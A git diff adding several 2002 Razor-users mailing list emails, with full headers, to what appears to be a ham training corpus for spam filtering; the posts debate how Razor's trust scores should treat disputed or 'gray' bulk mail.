(usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id EAA03106 for + ; Fri, 9 Aug 2002 04:04:57 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17d00R-0003T3-00; Thu, + 08 Aug 2002 20:00:03 -0700 +Received: from main.gmane.org ([80.91.224.249]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17czzj-0001HF-00 for ; Thu, + 08 Aug 2002 19:59:19 -0700 +Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) + id 17czyq-0006Ld-00 for ; + Fri, 09 Aug 2002 04:58:24 +0200 +To: razor-users@example.sourceforge.net +X-Injected-Via-Gmane: http://gmane.org/ +Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) + id 17czyp-0006LN-00 for ; + Fri, 09 Aug 2002 04:58:23 +0200 +Path: not-for-mail +From: Jehan +Newsgroups: gmane.mail.spam.razor.user +Message-Id: +References: <81F8FF20-AB1F-11D6-BCF2-00039396ECF2@deersoft.com> + + <20020809013908.GA10032@fsckit.net> +NNTP-Posting-Host: adsl-64-168-83-170.dsl.snfc21.pacbell.net +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +X-Trace: main.gmane.org 1028861902 24379 64.168.83.170 (9 Aug 2002 + 02:58:22 GMT) +X-Complaints-To: usenet@main.gmane.org +NNTP-Posting-Date: Fri, 9 Aug 2002 02:58:22 +0000 (UTC) +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1b) + Gecko/20020802 +X-Accept-Language: en-us, en +Subject: [Razor-users] Re: What's wrong with the Razor servers now? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 08 Aug 2002 20:00:00 -0700 +Date: Thu, 08 Aug 2002 20:00:00 -0700 + +Tabor J. Wells wrote: +> On Fri, Aug 09, 2002 at 10:05:29AM +1000, +> Adam Goryachev is thought to have said: +> +> +>>>Now I get some opt-in mail which looks to me like +>>>spam. I hit "this is spam". My trust rating plummets -- +>> +>>Good! Your opinion of what is spam is unreliable, and therefore, I don't +>>*want* to trust you. IMHO, that is exactly the case that the trust system is +>>supposed to sort out. People who incorrectly submit non-spam bulk mail to +>>razor. +> +> +> Let's take a look at an example here. Someone on this list signed +> razor-users@fsckit.net up to a ZDNet mailing list that doesn't confirm +> subscriptions in a piss-poor attempt to mailbomb me. I report all of these +> mailings to Razor because, guess what, for me this is spam. This and a +> hundred more traditional spam emails to automated spamtrap addresses get +> reported by me daily. I probably have a decent TES value because of all of +> this. +> +> Now lets say someone else who is also reporting a fair amount of your +> typical proxy/relayed spam has been reporting these and has built up a +> decent TES rating because of it. However they subscribed to that same ZDNet +> list and enjoy getting the mail from it except that they don't like seeing +> it tagged as spam by Razor. So they razor-revoke it. +> +> Who loses in this case? Why? Neither party is inaccurate in their actions +> IMO. But someone's standing is going to get hurt because of it. + +Actually you would be inaccurate in your action in a way. The correct +behavior would be to unsubscribe razor-users@fsckit.net from the mailing +list. + +But in any case, you have to understand that you and him would not be +the only one involved. As I said in a another thread, you probably get +hurt only if you are against the majority of people (which makes sense). +If you are with the majority, you get a bonus (which also makes sense). +If there is no majority, nobody wins or lose. +Razor is designed for the betterment of most people, i.e. the majority, +not for the individual. If one doesn't agree with the majority, he +should use the razor-whitelist or create a blacklist (BTW, why doesn't +razor provide a razor-blacklist too?) + + Jehan + + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00598.3669860113623394add3a85c8774859b b/bayes/spamham/easy_ham_2/00598.3669860113623394add3a85c8774859b new file mode 100644 index 0000000..6475901 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00598.3669860113623394add3a85c8774859b @@ -0,0 +1,104 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:35:10 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id E4309440E2 + for ; Fri, 9 Aug 2002 10:33:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:33:47 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EQmb07036 for + ; Fri, 9 Aug 2002 15:26:48 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id CAA02724 for + ; Fri, 9 Aug 2002 02:45:50 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cyl0-0002oY-00; Thu, + 08 Aug 2002 18:40:02 -0700 +Received: from 70.muca.bstn.bstnmaco.dsl.att.net ([12.98.14.70] + helo=pulse.fsckit.net) by usw-sf-list1.sourceforge.net with esmtp (Cipher + TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17cykD-0007El-00 + for ; Thu, 08 Aug 2002 18:39:13 -0700 +Received: from twells by pulse.fsckit.net with local (Exim) id + 17cyk9-0002fi-00 for razor-users@lists.sourceforge.net; Thu, + 08 Aug 2002 21:39:09 -0400 +From: "Tabor J. Wells" +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] What's wrong with the Razor servers now? +Message-Id: <20020809013908.GA10032@fsckit.net> +Reply-To: razor-users@example.sourceforge.net +References: <81F8FF20-AB1F-11D6-BCF2-00039396ECF2@deersoft.com> + +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: +User-Agent: Mutt/1.4i +X-Copyright: This email is Copyright (c)2002 by razor-users@fsckit.net. + All rights reserved. +X-Bofh: Do you feel lucky? +X-Jihad: I will hunt down all who spam my account. Try me. +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 21:39:09 -0400 +Date: Thu, 8 Aug 2002 21:39:09 -0400 + +On Fri, Aug 09, 2002 at 10:05:29AM +1000, +Adam Goryachev is thought to have said: + +> > Now I get some opt-in mail which looks to me like +> > spam. I hit "this is spam". My trust rating plummets -- +> +> Good! Your opinion of what is spam is unreliable, and therefore, I don't +> *want* to trust you. IMHO, that is exactly the case that the trust system is +> supposed to sort out. People who incorrectly submit non-spam bulk mail to +> razor. + +Let's take a look at an example here. Someone on this list signed +razor-users@fsckit.net up to a ZDNet mailing list that doesn't confirm +subscriptions in a piss-poor attempt to mailbomb me. I report all of these +mailings to Razor because, guess what, for me this is spam. This and a +hundred more traditional spam emails to automated spamtrap addresses get +reported by me daily. I probably have a decent TES value because of all of +this. + +Now lets say someone else who is also reporting a fair amount of your +typical proxy/relayed spam has been reporting these and has built up a +decent TES rating because of it. However they subscribed to that same ZDNet +list and enjoy getting the mail from it except that they don't like seeing +it tagged as spam by Razor. So they razor-revoke it. + +Who loses in this case? Why? Neither party is inaccurate in their actions +IMO. But someone's standing is going to get hurt because of it. + +Tabor + +-- +-------------------------------------------------------------------- +Tabor J. Wells razor-users@fsckit.net +Fsck It! Just another victim of the ambient morality + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00599.4b9e5d55f5bb001974345a0439e6f93d b/bayes/spamham/easy_ham_2/00599.4b9e5d55f5bb001974345a0439e6f93d new file mode 100644 index 0000000..b5ba706 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00599.4b9e5d55f5bb001974345a0439e6f93d @@ -0,0 +1,105 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:35:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6705B440E4 + for ; Fri, 9 Aug 2002 10:33:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:33:50 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79ERFb07087 for + ; Fri, 9 Aug 2002 15:27:15 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id CAA02699 for + ; Fri, 9 Aug 2002 02:37:17 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cyTa-000835-00; Thu, + 08 Aug 2002 18:22:02 -0700 +Received: from kechara-p.flame.org ([204.152.186.129] + helo=kechara.flame.org) by usw-sf-list1.sourceforge.net with smtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17cyTN-0003o1-00 for + ; Thu, 08 Aug 2002 18:21:49 -0700 +Received: (qmail 6559 invoked by uid 173); 9 Aug 2002 01:21:43 -0000 +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] Re: keep submitting known spam? +References: + <85A5EBA4-AB0F-11D6-BCF2-00039396ECF2@deersoft.com> + +From: Michael Graff +In-Reply-To: +Message-Id: +User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2 +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: 08 Aug 2002 18:21:43 -0700 +Date: 08 Aug 2002 18:21:43 -0700 + +-----BEGIN PGP SIGNED MESSAGE----- +Hash: SHA1 + +Ok, time for me to pipe in. :) + +Honestly, I find it odd that the spam fighting groups aren't working +and playing well, when the common enemy is the spammers, not each +other. MAPS and ORBS had a battle for a while, and now DCC seems to +have issues with Razor. Honestly, work on your own stuff, and let's +fix the spam problem, not pull out rulers. + +In a spam filter, I'm much, much more concerned about false positives +than false negatives. Additionally, since spam types are so varied, I +use all available and trustworthy (to me) methods to detect it. I +tend to want something that has three levels (although nothing like +this exists, yet): + + red is most certainly spam, verified by high ratings from + several sources, and noone says "I know this is NOT + spam." I'd probably drop this into a bit-bucket, or + archive it for humor value. I expect no + false-positives to be here. + + yellow This may be spam. A human should decide (and report). + + green This is probably not spam. + +spamassassin does something useful here, but it only has the is/isn't +switch, not is/maybe/isn't. That said, razor is but one check in my +spam fighting arsenal, so if it reports "doesn't match known spam" +once in a while for well-known spam, something else will probably get +it. + +- --Michael +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.7 (NetBSD) +Comment: See http://www.flame.org/~explorer/pgp for my keys + +iD8DBQE9Uxknl6Nz7kJWYWYRAqZVAKCAD46joOEZbIk+8Hx3ZGkVQ7eGZwCfRB+V +T67XLOPP4vG99Fg2h72gHek= +=Evue +-----END PGP SIGNATURE----- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00600.adbd0b394deb5ce69455ed88f8a09098 b/bayes/spamham/easy_ham_2/00600.adbd0b394deb5ce69455ed88f8a09098 new file mode 100644 index 0000000..e3c4878 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00600.adbd0b394deb5ce69455ed88f8a09098 @@ -0,0 +1,105 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:36:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4D238440E9 + for ; Fri, 9 Aug 2002 10:34:00 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:34:00 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79ESQb07242 for + ; Fri, 9 Aug 2002 15:28:26 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id BAA02417 for + ; Fri, 9 Aug 2002 01:38:57 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cxgG-0008Sh-00; Thu, + 08 Aug 2002 17:31:04 -0700 +Received: from main.gmane.org ([80.91.224.249]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cxgB-0006mH-00 for ; Thu, + 08 Aug 2002 17:30:59 -0700 +Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) + id 17cxfL-0002iH-00 for ; + Fri, 09 Aug 2002 02:30:07 +0200 +To: razor-users@example.sourceforge.net +X-Injected-Via-Gmane: http://gmane.org/ +Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) + id 17cxVY-0002Ps-00 for ; + Fri, 09 Aug 2002 02:20:00 +0200 +Path: not-for-mail +From: Jehan +Newsgroups: gmane.mail.spam.razor.user +Message-Id: +References: + <85A5EBA4-AB0F-11D6-BCF2-00039396ECF2@deersoft.com> +NNTP-Posting-Host: adsl-64-168-83-170.dsl.snfc21.pacbell.net +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +X-Trace: main.gmane.org 1028852397 9290 64.168.83.170 (9 Aug 2002 00:19:57 + GMT) +X-Complaints-To: usenet@main.gmane.org +NNTP-Posting-Date: Fri, 9 Aug 2002 00:19:57 +0000 (UTC) +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1b) + Gecko/20020802 +X-Accept-Language: en-us, en +Subject: [Razor-users] Re: keep submitting known spam? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 08 Aug 2002 17:20:44 -0700 +Date: Thu, 08 Aug 2002 17:20:44 -0700 + +Craig R.Hughes wrote: +> +> On Thursday, August 8, 2002, at 11:15 AM, Mika Hirvonen wrote: +> +>> I do not know the algorithms used to calculate confidence values, but it +>> probably penalizes heavily when someone revokes spam that everyone else +>> considers as spam. Or at least it should. +> +> +> The problem with that is that invariably, there are "gray" mails. Some +> people will vote "spam", others will vote "nonspam" -- under your +> proposed system, anyone who ever calls "gray" mail nonspam will have a +> shitty trust score. And once you have a shitty trust score, your own +> submissions won't even be used to flag your own spam as spam. That's +> bound to confuse a lot of people. "But I just marked that exact message +> as spam. Why is it not being considered spam? I'm an honest submitter." + +I assume that how much the trust goes down depends of the proportion of +report vs revoke. If everybody except one says that a mail is spam, the +one guy will see his trust go down dramatically. If you are with the +majority, your trust goes up. If you are against the majority, your +trust goes down. If people 50-50, whatever you vote, your neither +against the majority nor with it, so your trust won't change. So your +"gray" mail won't have much influence on your trust (neither good nor +bad, just... gray) + + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00601.2f32c4ddbfc8c2c0c147ece6f7346de1 b/bayes/spamham/easy_ham_2/00601.2f32c4ddbfc8c2c0c147ece6f7346de1 new file mode 100644 index 0000000..6a06ca5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00601.2f32c4ddbfc8c2c0c147ece6f7346de1 @@ -0,0 +1,88 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:36:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 04276440D4 + for ; Fri, 9 Aug 2002 10:33:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:33:59 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79ESQb07239 for + ; Fri, 9 Aug 2002 15:28:26 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id BAA02392 for + ; Fri, 9 Aug 2002 01:33:10 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cxcN-0007gy-00; Thu, + 08 Aug 2002 17:27:03 -0700 +Received: from main.gmane.org ([80.91.224.249]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cxbQ-0005Sq-00 for ; Thu, + 08 Aug 2002 17:26:05 -0700 +Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) + id 17cxaY-0002Zi-00 for ; + Fri, 09 Aug 2002 02:25:10 +0200 +To: razor-users@example.sourceforge.net +X-Injected-Via-Gmane: http://gmane.org/ +Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) + id 17cxaY-0002Za-00 for ; + Fri, 09 Aug 2002 02:25:10 +0200 +Path: not-for-mail +From: Jehan +Newsgroups: gmane.mail.spam.razor.user +Message-Id: +References: <81F8FF20-AB1F-11D6-BCF2-00039396ECF2@deersoft.com> + +NNTP-Posting-Host: adsl-64-168-83-170.dsl.snfc21.pacbell.net +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +X-Trace: main.gmane.org 1028852710 9893 64.168.83.170 (9 Aug 2002 00:25:10 + GMT) +X-Complaints-To: usenet@main.gmane.org +NNTP-Posting-Date: Fri, 9 Aug 2002 00:25:10 +0000 (UTC) +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1b) + Gecko/20020802 +X-Accept-Language: en-us, en +Subject: [Razor-users] Re: What's wrong with the Razor servers now? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 08 Aug 2002 17:25:57 -0700 +Date: Thu, 08 Aug 2002 17:25:57 -0700 + +Adam Goryachev wrote: +> Just my $1 worth... + +Should we trust you more because you're worth $1 instead of the usual 2 +cents? +;) + + Jehan + + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00602.d08c9eea32d96d5e831bb37faa0b311b b/bayes/spamham/easy_ham_2/00602.d08c9eea32d96d5e831bb37faa0b311b new file mode 100644 index 0000000..97f994b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00602.d08c9eea32d96d5e831bb37faa0b311b @@ -0,0 +1,105 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:36:55 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D80E8440EF + for ; Fri, 9 Aug 2002 10:34:04 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:34:04 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79ESEb07214 for + ; Fri, 9 Aug 2002 15:28:14 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id BAA02465 for + ; Fri, 9 Aug 2002 01:47:03 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cxqs-00035t-00; Thu, + 08 Aug 2002 17:42:02 -0700 +Received: from main.gmane.org ([80.91.224.249]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cxpu-0000SP-00 for ; Thu, + 08 Aug 2002 17:41:02 -0700 +Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) + id 17cxp2-0002zx-00 for ; + Fri, 09 Aug 2002 02:40:08 +0200 +To: razor-users@example.sourceforge.net +X-Injected-Via-Gmane: http://gmane.org/ +Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) + id 17cxjA-0002pc-00 for ; + Fri, 09 Aug 2002 02:34:04 +0200 +Path: not-for-mail +From: Jehan Bing +Newsgroups: gmane.mail.spam.razor.user +Message-Id: +References: + <85A5EBA4-AB0F-11D6-BCF2-00039396ECF2@deersoft.com> +NNTP-Posting-Host: adsl-64-168-83-170.dsl.snfc21.pacbell.net +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii; format=flowed +Content-Transfer-Encoding: 7bit +X-Trace: main.gmane.org 1028853243 10827 64.168.83.170 (9 Aug 2002 + 00:34:03 GMT) +X-Complaints-To: usenet@main.gmane.org +NNTP-Posting-Date: Fri, 9 Aug 2002 00:34:03 +0000 (UTC) +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1b) + Gecko/20020802 +X-Accept-Language: en-us, en +Subject: [Razor-users] Re: keep submitting known spam? +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 08 Aug 2002 17:34:51 -0700 +Date: Thu, 08 Aug 2002 17:34:51 -0700 + +Craig R.Hughes wrote: + > + > On Thursday, August 8, 2002, at 11:15 AM, Mika Hirvonen wrote: + > + >> I do not know the algorithms used to calculate confidence values, but it + >> probably penalizes heavily when someone revokes spam that everyone else + >> considers as spam. Or at least it should. + > + > + > The problem with that is that invariably, there are "gray" mails. Some + > people will vote "spam", others will vote "nonspam" -- under your + > proposed system, anyone who ever calls "gray" mail nonspam will have a + > shitty trust score. And once you have a shitty trust score, your own + > submissions won't even be used to flag your own spam as spam. That's + > bound to confuse a lot of people. "But I just marked that exact message + > as spam. Why is it not being considered spam? I'm an honest submitter." + +I assume that how much the trust goes down depends of the proportion of +report vs revoke. If everybody except one says that a mail is spam, the +one guy will see his trust go down dramatically. If you are with the +majority, your trust goes up. If you are against the majority, your +trust goes down. If people 50-50, whatever you vote, your neither +against the majority nor with it, so your trust won't change. So your +"gray" mail won't have much influence on your trust (neither good nor +bad, just... gray) + + + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00603.daa03eaf6ed52d99bcc36d0f68fdd33a b/bayes/spamham/easy_ham_2/00603.daa03eaf6ed52d99bcc36d0f68fdd33a new file mode 100644 index 0000000..b787b42 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00603.daa03eaf6ed52d99bcc36d0f68fdd33a @@ -0,0 +1,87 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:37:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 13FC5440F1 + for ; Fri, 9 Aug 2002 10:34:10 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:34:10 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EUdb07497 for + ; Fri, 9 Aug 2002 15:30:39 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id AAA02088 for + ; Fri, 9 Aug 2002 00:30:33 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cweM-0000iR-00; Thu, + 08 Aug 2002 16:25:02 -0700 +Received: from adsl-67-118-106-171.dsl.snfc21.pacbell.net + ([67.118.106.171] helo=frontier.limbo.net) by usw-sf-list1.sourceforge.net + with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cwdU-00016H-00 for + ; Thu, 08 Aug 2002 16:24:08 -0700 +Received: by frontier.limbo.net (Postfix, from userid 500) id C46C530E945; + Thu, 8 Aug 2002 16:27:11 -0700 (PDT) +From: Chip Paswater +To: razor-users@example.sourceforge.net +Message-Id: <20020808162711.A370@frontier.limbo.net> +References: <20020808111842.J1593@rover.vipul.net> + + <20020808152638.A32536@frontier.limbo.net> + <20020808154303.A5236@rover.vipul.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020808154303.A5236@rover.vipul.net>; from mail@vipul.net + on Thu, Aug 08, 2002 at 03:43:03PM -0700 +X-MY-PGP-Fingerprint: 4D42 5220 2EB4 21F4 39C4 BDDA C948 F15C DE2E F798 +Subject: [Razor-users] SpamNet question +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 16:27:11 -0700 +Date: Thu, 8 Aug 2002 16:27:11 -0700 + +Vipul, can I ask questions about SpamNet here? + +I hope so, here goes.. simple question. How do you define +username/passwords in spamnet? I don't see any fields for this option, so +I'm assuming when someone connects with SpamNet for the first time, they're +given a unique ID that they keep until they change to a new Outlook client? + +It would be nice if you could specify which username/password to use. I'd +like to share my trust account between my work(outlook) and my personal(mutt) +email accounts. + +> > Perhaps a feature can be added to razor-report, so that it checks whether a +> > message is spam before it submits it. If it is spam, then don't send the +> > body, 4 signatures, etc, just up the "rating" for that individual spam. +> +> Yep, that how razor-agents currently work. +> +> cheers, +> vipul. + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00604.b79c959719f5f325067852352496e07a b/bayes/spamham/easy_ham_2/00604.b79c959719f5f325067852352496e07a new file mode 100644 index 0000000..cf7fc3d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00604.b79c959719f5f325067852352496e07a @@ -0,0 +1,122 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:37:22 